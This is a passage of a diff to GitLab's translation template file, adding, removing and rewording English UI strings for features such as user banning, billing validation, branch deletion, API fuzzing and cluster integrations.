+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation_link}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
+msgid "%{rotation} has been recalculated with the remaining participants. Please review the new setup for %{rotation}. It is recommended that you reach out to the current on-call responder to ensure continuity of on-call coverage."
+msgstr ""
+
msgid "%{seconds}s"
msgstr ""
@@ -989,9 +999,6 @@ msgstr ""
msgid "%{strongStart}Deletes%{strongEnd} source branch"
msgstr ""
-msgid "%{strongStart}Note:%{strongEnd} Once a custom stage has been added you can re-order stages by dragging them into the desired position."
-msgstr ""
-
msgid "%{strongStart}Tip:%{strongEnd} You can also checkout merge requests locally by %{linkStart}following these guidelines%{linkEnd}"
msgstr ""
@@ -1120,9 +1127,15 @@ msgstr ""
msgid "%{userName}'s avatar"
msgstr ""
+msgid "%{user_name} (%{user_username}) was removed from %{rotation} in %{schedule} in %{project}. "
+msgstr ""
+
msgid "%{user_name} profile page"
msgstr ""
+msgid "%{username} changed the draft status of merge request %{mr_link}"
+msgstr ""
+
msgid "%{username} has asked for a GitLab account on your instance %{host}:"
msgstr ""
@@ -1186,9 +1199,6 @@ msgstr ""
msgid "'%{name}' Value Stream saved"
msgstr ""
-msgid "'%{name}' stage already exists"
-msgstr ""
-
msgid "'%{source}' is not a import source"
msgstr ""
@@ -1572,6 +1582,9 @@ msgstr ""
msgid "A Let's Encrypt account will be configured for this GitLab installation using your email address. You will receive emails to warn of expiring certificates."
msgstr ""
+msgid "A banned user cannot:"
+msgstr ""
+
msgid "A basic page and serverless function that uses AWS Lambda, AWS API Gateway, and GitLab Pages"
msgstr ""
@@ -1593,6 +1606,9 @@ msgstr ""
msgid "A description is required"
msgstr ""
+msgid "A different reason"
+msgstr ""
+
msgid "A file has been changed."
msgstr ""
@@ -1662,9 +1678,6 @@ msgstr ""
msgid "A project containing issues for each audit inquiry in the HIPAA Audit Protocol published by the U.S. Department of Health & Human Services"
msgstr ""
-msgid "A project is where you house your files (repository), plan your work (issues), and publish your documentation (wiki), %{among_other_things_link}."
-msgstr ""
-
msgid "A project’s repository name defines its URL (the one you use to access the project via a browser) and its place on the file disk where GitLab is installed. %{link_start}Learn more.%{link_end}"
msgstr ""
@@ -1677,6 +1690,9 @@ msgstr ""
msgid "A rebase is already in progress."
msgstr ""
+msgid "A rule must be provided to create an escalation policy"
+msgstr ""
+
msgid "A secure token that identifies an external storage request."
msgstr ""
@@ -1722,9 +1738,6 @@ msgstr ""
msgid "APIFuzzing|$VariableWithUsername"
msgstr ""
-msgid "APIFuzzing|/folder/example_file.json"
-msgstr ""
-
msgid "APIFuzzing|API Fuzzing Configuration"
msgstr ""
@@ -1764,30 +1777,24 @@ msgstr ""
msgid "APIFuzzing|Enter the name of the variable containing the username. For example, $VariableWithUsername."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz"
+msgid "APIFuzzing|File path or URL to APIs to be tested. For example, folder/example_fuzz.har. HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
msgstr ""
-msgid "APIFuzzing|Ex: Project_Test/File/example_fuzz.har"
+msgid "APIFuzzing|File path or URL to OpenAPI specification. For example, folder/openapi.json or http://www.example.com/openapi.json."
msgstr ""
-msgid "APIFuzzing|File path containing APIs to be tested. For example, /folder/example_file.json."
+msgid "APIFuzzing|File path or URL to requests to be tested. For example, folder/example.postman_collection.json."
msgstr ""
msgid "APIFuzzing|Generate code snippet"
msgstr ""
-msgid "APIFuzzing|HAR files may contain sensitive information such as authentication tokens, API keys, and session cookies. We recommend that you review the HAR files' contents before adding them to a repository."
-msgstr ""
-
msgid "APIFuzzing|Make sure your credentials are secured"
msgstr ""
msgid "APIFuzzing|Password for basic authentication"
msgstr ""
-msgid "APIFuzzing|Postman collections are a group of saved requests you can organize into folders."
-msgstr ""
-
msgid "APIFuzzing|Predefined profiles"
msgstr ""
@@ -1803,7 +1810,7 @@ msgstr ""
msgid "APIFuzzing|Target URL"
msgstr ""
-msgid "APIFuzzing|There are two ways to perform scans."
+msgid "APIFuzzing|There are three ways to perform scans."
msgstr ""
msgid "APIFuzzing|Tip: Insert the following variables anywhere below stages and include"
@@ -1830,6 +1837,15 @@ msgstr ""
msgid "APIFuzzing|You may need a maintainer's help to secure your credentials."
msgstr ""
+msgid "APIFuzzing|folder/example.postman_collection.json"
+msgstr ""
+
+msgid "APIFuzzing|folder/example_fuzz.har"
+msgstr ""
+
+msgid "APIFuzzing|folder/openapi.json"
+msgstr ""
+
msgid "AWS Access Key"
msgstr ""
@@ -2097,6 +2113,9 @@ msgstr ""
msgid "Add a bullet list"
msgstr ""
+msgid "Add a collapsible section"
+msgstr ""
+
msgid "Add a comment to this line"
msgstr ""
@@ -2373,6 +2392,9 @@ msgstr ""
msgid "Adjust your filters/search criteria above. If you believe this may be an error, please refer to the %{linkStart}Geo Troubleshooting%{linkEnd} documentation for more information."
msgstr ""
+msgid "Admin"
+msgstr ""
+
msgid "Admin Area"
msgstr ""
@@ -2538,9 +2560,6 @@ msgstr ""
msgid "AdminSettings|Feed token"
msgstr ""
-msgid "AdminSettings|Go to General Settings"
-msgstr ""
-
msgid "AdminSettings|Keep the latest artifacts for all jobs in the latest successful pipelines"
msgstr ""
@@ -2553,9 +2572,6 @@ msgstr ""
msgid "AdminSettings|No required pipeline"
msgstr ""
-msgid "AdminSettings|PlantUML, Slack application, Third party offers, Snowplow, Amazon EKS have moved to Settings &gt; General."
-msgstr ""
-
msgid "AdminSettings|Required pipeline configuration"
msgstr ""
@@ -2580,9 +2596,6 @@ msgstr ""
msgid "AdminSettings|Set an instance-wide auto included %{link_start}pipeline configuration%{link_end}. This pipeline configuration will be run after the project's own configuration."
msgstr ""
-msgid "AdminSettings|Some settings have moved"
-msgstr ""
-
msgid "AdminSettings|Specify a domain to use by default for every project's Auto Review Apps and Auto Deploy stages."
msgstr ""
@@ -2628,6 +2641,9 @@ msgstr ""
msgid "AdminUsers|(Admin)"
msgstr ""
+msgid "AdminUsers|(Banned)"
+msgstr ""
+
msgid "AdminUsers|(Blocked)"
msgstr ""
@@ -2646,6 +2662,9 @@ msgstr ""
msgid "AdminUsers|2FA Enabled"
msgstr ""
+msgid "AdminUsers|A user can validate themselves by inputting a credit/debit card, or an admin can manually validate a user."
+msgstr ""
+
msgid "AdminUsers|Access"
msgstr ""
@@ -2694,6 +2713,21 @@ msgstr ""
msgid "AdminUsers|Automatically marked as default internal user"
msgstr ""
+msgid "AdminUsers|Ban"
+msgstr ""
+
+msgid "AdminUsers|Ban user"
+msgstr ""
+
+msgid "AdminUsers|Ban user %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Banned"
+msgstr ""
+
+msgid "AdminUsers|Banning the user has the following effects:"
+msgstr ""
+
msgid "AdminUsers|Be added to groups and projects"
msgstr ""
@@ -2724,6 +2758,9 @@ msgstr ""
msgid "AdminUsers|Cohorts"
msgstr ""
+msgid "AdminUsers|Could not load user group counts. Please refresh the page to try again."
+msgstr ""
+
msgid "AdminUsers|Deactivate"
msgstr ""
@@ -2778,6 +2815,9 @@ msgstr ""
msgid "AdminUsers|It's you!"
msgstr ""
+msgid "AdminUsers|Learn more about %{link_start}banned users.%{link_end}"
+msgstr ""
+
msgid "AdminUsers|Log in"
msgstr ""
@@ -2859,6 +2899,15 @@ msgstr ""
msgid "AdminUsers|To confirm, type %{username}"
msgstr ""
+msgid "AdminUsers|Unban"
+msgstr ""
+
+msgid "AdminUsers|Unban %{username}?"
+msgstr ""
+
+msgid "AdminUsers|Unban user"
+msgstr ""
+
msgid "AdminUsers|Unblock"
msgstr ""
@@ -2874,6 +2923,12 @@ msgstr ""
msgid "AdminUsers|Unlock user %{username}?"
msgstr ""
+msgid "AdminUsers|User is validated and can use free CI minutes on shared runners."
+msgstr ""
+
+msgid "AdminUsers|User will be blocked"
+msgstr ""
+
msgid "AdminUsers|User will not be able to access git repositories"
msgstr ""
@@ -2886,6 +2941,9 @@ msgstr ""
msgid "AdminUsers|Users can still be invited to your instance and/or add themselves if permitted based on your settings. They will not have access to your instance, nor count towards your subscribed seat count until you %{approve_link}."
msgstr ""
+msgid "AdminUsers|Validate user account"
+msgstr ""
+
msgid "AdminUsers|View pending member requests"
msgstr ""
@@ -2910,6 +2968,9 @@ msgstr ""
msgid "AdminUsers|You are about to permanently delete the user %{username}. This will delete all of the issues, merge requests, and groups linked to them. To avoid data loss, consider using the %{strongStart}block user%{strongEnd} feature instead. Once you %{strongStart}Delete user%{strongEnd}, it cannot be undone or recovered."
msgstr ""
+msgid "AdminUsers|You ban their account in the future if necessary."
+msgstr ""
+
msgid "AdminUsers|You can always block their account again if needed."
msgstr ""
@@ -2922,6 +2983,9 @@ msgstr ""
msgid "AdminUsers|You can always unblock their account, their data will remain intact."
msgstr ""
+msgid "AdminUsers|You can unban their account in the future. Their data remains intact."
+msgstr ""
+
msgid "AdminUsers|You cannot remove your own admin rights."
msgstr ""
@@ -2967,9 +3031,6 @@ msgstr ""
msgid "Advanced Search"
msgstr ""
-msgid "Advanced Search with Elasticsearch"
-msgstr ""
-
msgid "Advanced Settings"
msgstr ""
@@ -3010,9 +3071,6 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
-msgid "Alert integrations"
-msgstr ""
-
msgid "AlertManagement|Acknowledged"
msgstr ""
@@ -3382,9 +3440,6 @@ msgstr ""
msgid "All epics"
msgstr ""
-msgid "All features are enabled for blank projects, from templates, or when importing, but you can disable them afterward in the project settings."
-msgstr ""
-
msgid "All groups and projects"
msgstr ""
@@ -3487,6 +3542,9 @@ msgstr ""
msgid "Allowed Geo IP"
msgstr ""
+msgid "Allowed characters: +, 0-9, -, and spaces."
+msgstr ""
+
msgid "Allowed email domain restriction only permitted for top-level groups"
msgstr ""
@@ -3700,6 +3758,9 @@ msgstr ""
msgid "An error occurred while fetching markdown preview"
msgstr ""
+msgid "An error occurred while fetching participants"
+msgstr ""
+
msgid "An error occurred while fetching participants."
msgstr ""
@@ -3793,9 +3854,6 @@ msgstr ""
msgid "An error occurred while loading merge requests."
msgstr ""
-msgid "An error occurred while loading project creation UI"
-msgstr ""
-
msgid "An error occurred while loading the access tokens form, please try again."
msgstr ""
@@ -3865,7 +3923,7 @@ msgstr ""
msgid "An error occurred while reordering issues."
msgstr ""
-msgid "An error occurred while requesting data from the Jira service"
+msgid "An error occurred while requesting data from the Jira service."
msgstr ""
msgid "An error occurred while retrieving calendar activity"
@@ -4346,6 +4404,9 @@ msgstr ""
msgid "Approvers"
msgstr ""
+msgid "Approvers from private group(s) not shown"
+msgstr ""
+
msgid "Apr"
msgstr ""
@@ -4376,16 +4437,13 @@ msgstr ""
msgid "Archived in this version"
msgstr ""
-msgid "Archived project! Repository and other project resources are read only"
-msgstr ""
-
msgid "Archived project! Repository and other project resources are read-only"
msgstr ""
msgid "Archived projects"
msgstr ""
-msgid "Archiving the project will make it entirely read only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
+msgid "Archiving the project will make it entirely read-only. It is hidden from the dashboard and doesn't show up in searches. %{strong_start}The repository cannot be committed to, and no issues, comments, or other entities can be created.%{strong_end} %{link_start}Learn more.%{link_end}"
msgstr ""
msgid "Are you ABSOLUTELY SURE you wish to delete this project?"
@@ -4970,7 +5028,7 @@ msgstr ""
msgid "Automatic deployment rollbacks"
msgstr ""
-msgid "Automatically close incidents when the associated Prometheus alert resolves."
+msgid "Automatically close associated incident when a recovery alert notification resolves an alert"
msgstr ""
msgid "Automatically create merge requests for vulnerabilities that have fixes available."
@@ -5039,6 +5097,9 @@ msgstr ""
msgid "Background Jobs"
msgstr ""
+msgid "Background Migrations"
+msgstr ""
+
msgid "Background color"
msgstr ""
@@ -5195,6 +5256,9 @@ msgstr ""
msgid "BillingPlans|@%{user_name} you are currently using the %{plan_name}."
msgstr ""
+msgid "BillingPlans|Compare all plans"
+msgstr ""
+
msgid "BillingPlans|Congratulations, your free trial is activated."
msgstr ""
@@ -5213,6 +5277,9 @@ msgstr ""
msgid "BillingPlans|Learn more about each plan by visiting our %{pricing_page_link}."
msgstr ""
+msgid "BillingPlans|Looking to purchase or manage a subscription for your group? Navigate to your %{groups_link} and go to %{strong_open}Settings &gt; Billing.%{strong_close}"
+msgstr ""
+
msgid "BillingPlans|Manage plan"
msgstr ""
@@ -5228,6 +5295,9 @@ msgstr ""
msgid "BillingPlans|To manage the plan for this group, visit the billing section of %{parent_billing_page_link}."
msgstr ""
+msgid "BillingPlans|Upgrade to GitLab %{planNameForUpgrade}"
+msgstr ""
+
msgid "BillingPlans|While GitLab is ending availability of the Bronze plan, you can still renew your Bronze subscription one additional time before %{eoa_bronze_plan_end_date}. We are also offering a limited time free upgrade to our Premium Plan (up to 25 users)! Learn more about the changes and offers in our %{announcement_link}."
msgstr ""
@@ -5246,6 +5316,9 @@ msgstr ""
msgid "BillingPlans|frequently asked questions"
msgstr ""
+msgid "BillingPlans|group"
+msgstr ""
+
msgid "BillingPlans|monthly"
msgstr ""
@@ -5261,6 +5334,27 @@ msgstr ""
msgid "BillingPlan|Upgrade for free"
msgstr ""
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. If you prefer not to provide one, you can run pipelines by bringing your own runners and disabling shared runners for your project. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd} %{linkStart}Learn more%{linkEnd}."
+msgstr ""
+
+msgid "Billings|To use free pipeline minutes on shared runners, you’ll need to validate your account with a credit or debit card. This is required to discourage and reduce abuse on GitLab infrastructure. %{strongStart}GitLab will not charge or store your card, it will only be used for validation.%{strongEnd}"
+msgstr ""
+
+msgid "Billings|User successfully validated"
+msgstr ""
+
+msgid "Billings|User validation required"
+msgstr ""
+
+msgid "Billings|Validate account"
+msgstr ""
+
+msgid "Billings|Validate user account"
+msgstr ""
+
+msgid "Billings|Your user account has been successfully validated. You can now use free pipeline minutes."
+msgstr ""
+
msgid "Billing|An email address is only visible for users with public emails."
msgstr ""
@@ -5273,6 +5367,9 @@ msgstr ""
msgid "Billing|An error occurred while removing a billable member"
msgstr ""
+msgid "Billing|Cannot remove user"
+msgstr ""
+
msgid "Billing|Direct memberships"
msgstr ""
@@ -5282,6 +5379,12 @@ msgstr ""
msgid "Billing|Group"
msgstr ""
+msgid "Billing|Group invite"
+msgstr ""
+
+msgid "Billing|Members who were invited via a group invitation cannot be removed. You can either remove the entire group, or ask an Owner of the invited group to remove the member."
+msgstr ""
+
msgid "Billing|No users to display."
msgstr ""
@@ -5516,6 +5619,9 @@ msgstr ""
msgid "Branches|All"
msgstr ""
+msgid "Branches|Cancel, keep branch"
+msgstr ""
+
msgid "Branches|Cant find HEAD commit for this branch"
msgstr ""
@@ -5528,6 +5634,9 @@ msgstr ""
msgid "Branches|Delete branch"
msgstr ""
+msgid "Branches|Delete branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
msgid "Branches|Delete merged branches"
msgstr ""
@@ -5537,6 +5646,12 @@ msgstr ""
msgid "Branches|Delete protected branch '%{branch_name}'?"
msgstr ""
+msgid "Branches|Delete protected branch. Are you ABSOLUTELY SURE?"
+msgstr ""
+
+msgid "Branches|Deleting the %{strongStart}%{branchName}%{strongEnd} branch cannot be undone. Are you sure?"
+msgstr ""
+
msgid "Branches|Deleting the '%{branch_name}' branch cannot be undone. Are you sure?"
msgstr ""
@@ -5558,12 +5673,18 @@ msgstr ""
msgid "Branches|Once you confirm and press %{delete_protected_branch}, it cannot be undone or recovered."
msgstr ""
+msgid "Branches|Once you confirm and press %{strongStart}%{buttonText},%{strongEnd} it cannot be undone or recovered."
+msgstr ""
+
msgid "Branches|Only a project maintainer or owner can delete a protected branch"
msgstr ""
msgid "Branches|Overview"
msgstr ""
+msgid "Branches|Please type the following to confirm:"
+msgstr ""
+
msgid "Branches|Protected branches can be managed in %{project_settings_link}."
msgstr ""
@@ -5597,6 +5718,9 @@ msgstr ""
msgid "Branches|The default branch cannot be deleted"
msgstr ""
+msgid "Branches|This branch hasn’t been merged into %{defaultBranchName}. To avoid data loss, consider merging this branch before deleting it."
+msgstr ""
+
msgid "Branches|This branch hasn’t been merged into %{default_branch}."
msgstr ""
@@ -5609,6 +5733,18 @@ msgstr ""
msgid "Branches|To discard the local changes and overwrite the branch with the upstream version, delete it here and choose 'Update Now' above."
msgstr ""
+msgid "Branches|Yes, delete branch"
+msgstr ""
+
+msgid "Branches|Yes, delete protected branch"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
+msgid "Branches|You're about to permanently delete the protected branch %{strongStart}%{branchName}.%{strongEnd}"
+msgstr ""
+
msgid "Branches|You’re about to permanently delete the protected branch %{branch_name}."
msgstr ""
@@ -5678,6 +5814,9 @@ msgstr ""
msgid "BulkImport|From source group"
msgstr ""
+msgid "BulkImport|Import %{groups}"
+msgstr ""
+
msgid "BulkImport|Import failed: Destination cannot be a subgroup of the source group. Change the destination and try again."
msgstr ""
@@ -5690,9 +5829,15 @@ msgstr ""
msgid "BulkImport|Name already exists."
msgstr ""
+msgid "BulkImport|No groups on this page are available for import"
+msgstr ""
+
msgid "BulkImport|No parent"
msgstr ""
+msgid "BulkImport|One or more groups has validation errors"
+msgstr ""
+
msgid "BulkImport|Showing %{start}-%{end} of %{total}"
msgstr ""
@@ -5759,9 +5904,6 @@ msgstr ""
msgid "By authenticating with an account tied to an Enterprise e-mail address, it is understood that this account is an Enterprise User. "
msgstr ""
-msgid "By clicking Register, I agree that I have read and accepted the %{company_name} %{linkStart}Terms of Use and Privacy Policy%{linkEnd}"
-msgstr ""
-
msgid "By default GitLab sends emails in HTML and plain text formats so mail clients can choose what format to use. Disable this option if you only want to send emails in plain text format."
msgstr ""
@@ -5810,15 +5952,15 @@ msgstr ""
msgid "CI/CD configuration file"
msgstr ""
-msgid "CI/CD for external repo"
-msgstr ""
-
msgid "CICDAnalytics|%{percent}%{percentSymbol}"
msgstr ""
msgid "CICDAnalytics|All time"
msgstr ""
+msgid "CICDAnalytics|Deployment frequency"
+msgstr ""
+
msgid "CICDAnalytics|Projects with releases"
msgstr ""
@@ -5829,6 +5971,9 @@ msgstr[1] ""
msgstr[2] ""
msgstr[3] ""
+msgid "CICDAnalytics|Release statistics"
+msgstr ""
+
msgid "CICDAnalytics|Releases"
msgstr ""
@@ -6522,7 +6667,7 @@ msgstr ""
msgid "Choose File..."
msgstr ""
-msgid "Choose a branch/tag (e.g. %{master}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
+msgid "Choose a branch/tag (e.g. %{branch}) or enter a commit (e.g. %{sha}) to see what's changed or to create a merge request."
msgstr ""
msgid "Choose a file"
@@ -6906,72 +7051,6 @@ msgstr ""
msgid "Cloud licenses can not be removed."
msgstr ""
-msgid "CloudLicense|Activate"
-msgstr ""
-
-msgid "CloudLicense|Activate subscription"
-msgstr ""
-
-msgid "CloudLicense|Activation code"
-msgstr ""
-
-msgid "CloudLicense|Billable users"
-msgstr ""
-
-msgid "CloudLicense|Buy subscription"
-msgstr ""
-
-msgid "CloudLicense|Free trial"
-msgstr ""
-
-msgid "CloudLicense|Get help for the most common connectivity issues by %{linkStart}troubleshooting the activation code%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|I agree that my use of the GitLab Software is subject to the Subscription Agreement located at the %{linkStart}Terms of Service%{linkEnd}, unless otherwise agreed to in writing with GitLab."
-msgstr ""
-
-msgid "CloudLicense|Learn how to %{linkStart}activate your subscription%{linkEnd}."
-msgstr ""
-
-msgid "CloudLicense|Maximum users"
-msgstr ""
-
-msgid "CloudLicense|Paste your activation code"
-msgstr ""
-
-msgid "CloudLicense|Ready to get started? A GitLab plan is ideal for scaling organizations and for multi team usage."
-msgstr ""
-
-msgid "CloudLicense|Start free trial"
-msgstr ""
-
-msgid "CloudLicense|Subscription"
-msgstr ""
-
-msgid "CloudLicense|This is the highest peak of users on your installation since the license started."
-msgstr ""
-
-msgid "CloudLicense|This is the number of %{billableUsersLinkStart}billable users%{billableUsersLinkEnd} on your installation, and this is the minimum number you need to purchase when you renew your license."
-msgstr ""
-
-msgid "CloudLicense|To activate your subscription, connect to GitLab servers through the %{linkStart}Cloud Sync service%{linkEnd}, a hassle-free way to manage your subscription."
-msgstr ""
-
-msgid "CloudLicense|Users in subscription"
-msgstr ""
-
-msgid "CloudLicense|Users over subscription"
-msgstr ""
-
-msgid "CloudLicense|Users with a Guest role or those who don't belong to a Project or Group will not use a seat from your license."
-msgstr ""
-
-msgid "CloudLicense|You can start a free trial of GitLab Ultimate without any obligation or payment details."
-msgstr ""
-
-msgid "CloudLicense|You'll be charged for %{trueUpLinkStart}users over license%{trueUpLinkEnd} on a quarterly or annual basis, depending on the terms of your agreement."
-msgstr ""
-
msgid "Cluster"
msgstr ""
@@ -7134,6 +7213,12 @@ msgstr ""
msgid "ClusterIntegration|Allow GitLab to manage namespaces and service accounts for this cluster."
msgstr ""
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Elasticsearch for pod logs."
+msgstr ""
+
+msgid "ClusterIntegration|Allows GitLab to query a specifically configured in-cluster Prometheus for metrics."
+msgstr ""
+
msgid "ClusterIntegration|Alternatively, "
msgstr ""
@@ -7176,12 +7261,6 @@ msgstr ""
msgid "ClusterIntegration|Base domain"
msgstr ""
-msgid "ClusterIntegration|Before you enable this integration, follow the %{link_start}documented process%{link_end}."
-msgstr ""
-
-msgid "ClusterIntegration|Blocking mode"
-msgstr ""
-
msgid "ClusterIntegration|CA Certificate"
msgstr ""
@@ -7344,6 +7423,9 @@ msgstr ""
msgid "ClusterIntegration|Enable Cloud Run for Anthos"
msgstr ""
+msgid "ClusterIntegration|Enable Elastic Stack integration"
+msgstr ""
+
msgid "ClusterIntegration|Enable Prometheus integration"
msgstr ""
@@ -7428,9 +7510,6 @@ msgstr ""
msgid "ClusterIntegration|GitLab-managed cluster"
msgstr ""
-msgid "ClusterIntegration|Global default"
-msgstr ""
-
msgid "ClusterIntegration|Google Cloud Platform project"
msgstr ""
@@ -7491,7 +7570,7 @@ msgstr ""
msgid "ClusterIntegration|Integration enabled"
msgstr ""
-msgid "ClusterIntegration|Integrations enable you to integrate your cluster as part of your GitLab workflow."
+msgid "ClusterIntegration|Integrations allow you to use applications installed in your cluster as part of your GitLab workflow."
msgstr ""
msgid "ClusterIntegration|Issuer Email"
@@ -7587,9 +7666,6 @@ msgstr ""
msgid "ClusterIntegration|Loading subnetworks"
msgstr ""
-msgid "ClusterIntegration|Logging mode"
-msgstr ""
-
msgid "ClusterIntegration|Machine type"
msgstr ""
@@ -7602,9 +7678,6 @@ msgstr ""
msgid "ClusterIntegration|Manage your Kubernetes cluster by visiting %{provider_link}"
msgstr ""
-msgid "ClusterIntegration|ModSecurity enabled"
-msgstr ""
-
msgid "ClusterIntegration|Namespace per environment"
msgstr ""
@@ -7701,9 +7774,6 @@ msgstr ""
msgid "ClusterIntegration|Read our %{link_start}help page%{link_end} on Kubernetes cluster integration."
msgstr ""
-msgid "ClusterIntegration|Real-time web application monitoring, logging and access control. %{linkStart}More information%{linkEnd}"
-msgstr ""
-
msgid "ClusterIntegration|Remove Kubernetes cluster integration"
msgstr ""
@@ -7842,9 +7912,6 @@ msgstr ""
msgid "ClusterIntegration|Send Container Network Policies Logs"
msgstr ""
-msgid "ClusterIntegration|Send Web Application Firewall Logs"
-msgstr ""
-
msgid "ClusterIntegration|Service Token"
msgstr ""
@@ -7857,9 +7924,6 @@ msgstr ""
msgid "ClusterIntegration|Set a prefix for your namespaces. If not set, defaults to your project path. If modified, existing environments will use their current namespaces until the cluster cache is cleared."
msgstr ""
-msgid "ClusterIntegration|Set the global mode for the WAF in this cluster. This can be overridden at the environmental level."
-msgstr ""
-
msgid "ClusterIntegration|Something went wrong on our end."
msgstr ""
@@ -8133,6 +8197,15 @@ msgstr ""
msgid "CodeOwner|Pattern"
msgstr ""
+msgid "CodeQuality|Code quality"
+msgstr ""
+
+msgid "CodeQuality|New code quality degradations in this file"
+msgstr ""
+
+msgid "CodeQuality|Some changes in this file degrade the code quality."
+msgstr ""
+
msgid "Cohorts|Inactive users"
msgstr ""
@@ -8278,6 +8351,9 @@ msgstr ""
msgid "CommitMessage|Add %{file_name}"
msgstr ""
+msgid "CommitMessage|Add %{file_name} and create a code quality job"
+msgstr ""
+
msgid "CommitWidget|authored"
msgstr ""
@@ -8416,9 +8492,6 @@ msgstr ""
msgid "Compliance framework"
msgstr ""
-msgid "Compliance framework (optional)"
-msgstr ""
-
msgid "Compliance framework (optional)"
msgstr ""
@@ -8539,6 +8612,9 @@ msgstr ""
msgid "Configuration"
msgstr ""
+msgid "Configuration help"
+msgstr ""
+
msgid "Configure GitLab runners to start using the Web Terminal. %{helpStart}Learn more.%{helpEnd}"
msgstr ""
@@ -8602,6 +8678,9 @@ msgstr ""
msgid "Configure repository mirroring."
msgstr ""
+msgid "Configure settings for Advanced Search with Elasticsearch."
+msgstr ""
+
msgid "Configure specific limits for Packages API requests that supersede the general user and IP rate limits."
msgstr ""
@@ -8763,6 +8842,9 @@ msgstr ""
msgid "ContainerRegistry|%{title} was successfully scheduled for deletion"
msgstr ""
+msgid "ContainerRegistry|-- tags"
+msgstr ""
+
msgid "ContainerRegistry|Build an image"
msgstr ""
@@ -9445,9 +9527,6 @@ msgstr ""
msgid "Create Project"
msgstr ""
-msgid "Create Value Stream"
-msgstr ""
-
msgid "Create a GitLab account first, and then connect it to your %{label} account."
msgstr ""
@@ -9478,9 +9557,6 @@ msgstr ""
msgid "Create a personal access token on your account to pull or push via %{protocol}."
msgstr ""
-msgid "Create a project pre-populated with the necessary files to get you started quickly."
-msgstr ""
-
msgid "Create an account using:"
msgstr ""
@@ -9532,6 +9608,9 @@ msgstr ""
msgid "Create group label"
msgstr ""
+msgid "Create incident"
+msgstr ""
+
msgid "Create issue"
msgstr ""
@@ -9583,6 +9662,9 @@ msgstr ""
msgid "Create new label"
msgstr ""
+msgid "Create new project"
+msgstr ""
+
msgid "Create new..."
msgstr ""
@@ -9616,6 +9698,9 @@ msgstr ""
msgid "Create your group"
msgstr ""
+msgid "Create your own profile to collaborate with your teammates in issues, merge requests, and more."
+msgstr ""
+
msgid "Create/import your first project"
msgstr ""
@@ -9943,27 +10028,6 @@ msgstr ""
msgid "Custom range (UTC)"
msgstr ""
-msgid "CustomCycleAnalytics|Add a stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Add stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Editing stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|End event label"
-msgstr ""
-
-msgid "CustomCycleAnalytics|New stage"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Stage name already exists"
-msgstr ""
-
-msgid "CustomCycleAnalytics|Start event label"
-msgstr ""
-
msgid "Customer Portal"
msgstr ""
@@ -10188,9 +10252,15 @@ msgstr ""
msgid "DAG visualization requires at least 3 dependent jobs."
msgstr ""
+msgid "DAST Configuration"
+msgstr ""
+
msgid "DAST Scans"
msgstr ""
+msgid "DAST Settings"
+msgstr ""
+
msgid "DNS"
msgstr ""
@@ -10410,9 +10480,6 @@ msgstr ""
msgid "DastProfiles|Password form field"
msgstr ""
-msgid "DastProfiles|Please enter a valid timeout value"
-msgstr ""
-
msgid "DastProfiles|Profile name"
msgstr ""
@@ -10780,6 +10847,9 @@ msgstr ""
msgid "Delete Comment"
msgstr ""
+msgid "Delete Key"
+msgstr ""
+
msgid "Delete Value Stream"
msgstr ""
@@ -11510,22 +11580,28 @@ msgstr ""
msgid "DevopsAdoption|Are you sure that you would like to remove %{name} from the table?"
msgstr ""
-msgid "DevopsAdoption|At least 1 MR opened"
+msgid "DevopsAdoption|At least one MR opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 approval on an MR"
+msgid "DevopsAdoption|At least one approval on an MR"
msgstr ""
-msgid "DevopsAdoption|At least 1 deploy"
+msgid "DevopsAdoption|At least one deploy"
msgstr ""
-msgid "DevopsAdoption|At least 1 issue opened"
+msgid "DevopsAdoption|At least one issue opened"
msgstr ""
-msgid "DevopsAdoption|At least 1 pipeline successfully run"
+msgid "DevopsAdoption|At least one pipeline successfully run"
msgstr ""
-msgid "DevopsAdoption|At least 1 security scan of any type run in pipeline"
+msgid "DevopsAdoption|At least one security scan of any type run in pipeline"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners"
+msgstr ""
+
+msgid "DevopsAdoption|Code owners enabled for at least one project"
msgstr ""
msgid "DevopsAdoption|Confirm remove Group"
@@ -11534,6 +11610,9 @@ msgstr ""
msgid "DevopsAdoption|Deploys"
msgstr ""
+msgid "DevopsAdoption|Dev"
+msgstr ""
+
msgid "DevopsAdoption|DevOps adoption tracks the use of key features across your favorite groups. Add a group to the table to begin."
msgstr ""
@@ -11561,6 +11640,9 @@ msgstr ""
msgid "DevopsAdoption|Not adopted"
msgstr ""
+msgid "DevopsAdoption|Ops"
+msgstr ""
+
msgid "DevopsAdoption|Pipelines"
msgstr ""
@@ -11582,6 +11664,9 @@ msgstr ""
msgid "DevopsAdoption|Scanning"
msgstr ""
+msgid "DevopsAdoption|Sec"
+msgstr ""
+
msgid "DevopsAdoption|There was an error enabling the current group. Please refresh the page."
msgstr ""
@@ -11594,21 +11679,33 @@ msgstr ""
msgid "DevopsAdoption|You cannot remove the group you are currently in."
msgstr ""
-msgid "DevopsReport|Adoption"
+msgid "DevopsReport|DevOps Score"
+msgstr ""
+
